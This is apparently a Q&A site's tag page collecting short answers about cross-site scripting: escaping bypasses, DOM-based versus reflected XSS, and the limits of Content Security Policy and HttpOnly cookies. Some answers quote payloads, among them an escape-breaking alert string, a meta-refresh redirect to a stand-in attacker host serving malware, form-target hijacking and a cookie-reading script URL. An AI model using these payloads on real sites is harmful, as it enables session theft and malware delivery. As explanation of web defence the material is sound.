Tag Info

New answers tagged

4

Based on your description this should work: \");alert("xss The " will be escaped as \", thus resulting in \\", which escapes the \, but not the ". To prevent this, you would at the very least have to also escape \ as \\.


1

An XSS attack is performed by injecting malicious code to be displayed to another user. To use a standard login form for an XSS attack, you would need the malicious code to be in the username - the only thing likely to be shown to other users. But how the username-with-malicious payload got in there isn't relevant, so it is not inherent to the fact that ...


2

It would have helped if you would have provided with the HTML code as well. However, i think the reason why it does not work is because the value of the hash anchor is not being utilized in the JavaScript. It would have been exploited as DOM based XSS if this value was being used in JavaScript somewhere. Here's is an example of code vulnerable to DOM based ...


1

Assuming that users are using modern browsers, is implementing a strict CSP policy enough to prevent all XSS attacks? Not all modern browsers implement CSP (IE has only very limited support). But assuming that the browser has proper CSP support and that you CSP is very strict (no unsafe-eval!) then it can be used to successfully prevent XSS. But... ...


1

Content Security Policy (CSP) is just a one layer of security that helps to detect and mitigate certain types of attacks, including Cross Site Scripting (XSS) and data injection attacks. However please bear in mind that security is all about defense in depth so yes you still should implement additional security layers and please remember that preventing ...


0

No - this is partly due to browser support. For example, Internet Explorer only partially supports Content Security Policies. Also, a CSP should be seen as an effective secondary solution for XSS. Think of it as protecting against code where the developer has forgotten to output encode correctly. This will protect your application in supported browsers ...


0

You could try to do a redirect to another URL using meta-tags: <meta http-equiv="refresh" content="1; url=http://attacker.example.com/malware"> And if there is a login form you could try to change the location it submits too by adding another form element, because target for form submission are not protected by CSP. <form ...


2

If there is an XSS anywhere on the site, an attacker can take any action the user could take. In this case the attacker could add an iframe to the vulnerable page, the iframe would have a source of /deleteaccount and then the attacker fire the click event on the submit button.


4

HTTPOnly disallows the cookie from being read by JavaScript via document.coookie. The Secure flag will restrict the cookie to HTTPS, but if your site has an XSS vulnerability, HTTPS will not protect you. The XSS URL https://example.com?q=<script>alert(document.cookie)</script> works just as well as ...


0

I am fairly sure your answer lies in the error message. The auditor was enabled as the server sent neither an 'X-XSS-Protection' nor 'Content-Security-Policy' header. I guess Google wants you to be super-duper sure that you want to allow XSS. Try running a local server that returns either of these headers: X-XSS-Protection Content-Security-Policy ...


1

They are not necessarily exclusive. They take advantage of different weaknesses. If you have the ability to do a "traditional" XSS through a reflected attack, then you likely wouldn't need to attempt a dom-based attack because you can inject any code you want before the page loads. In your examples, its not quite clear if you are differentiating the root ...


1

I observed that certain attacks could be both DOM-based and Reflected XSS No. What you list are the same payloads for both DOM based and reflected XSS (both attacks are often exploited in similar ways). But what happens underneath that is still either DOM based XSS or reflected XSS (well, or stored XSS). It's never both. The names for the different ...



Top 50 recent answers are included